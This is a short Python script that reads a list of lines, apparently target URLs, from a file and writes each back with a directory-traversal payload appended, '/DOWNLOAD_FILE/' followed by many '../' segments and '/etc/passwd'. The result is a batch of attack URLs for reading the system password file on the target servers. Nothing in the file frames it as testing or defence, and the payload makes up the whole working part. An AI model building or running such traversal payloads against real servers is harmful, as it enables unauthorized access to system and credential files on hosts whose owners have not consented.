with open("output_1.txt","r") as lines:
    with open("out.txt","w") as url:
        # line=url+"aaa"
        # url.write(line)
        for line in lines:
            line=line[:-1]
            url.write(f"{line}"+"/DOWNLOAD_FILE/../../../../../../../../../../../../../../../../../../../etc/passwd\n")
        # url.write(f"{line}"+"/DOWNLOAD_FILE/../../../../../../../../../../../../../../../../../../../etc/passwd")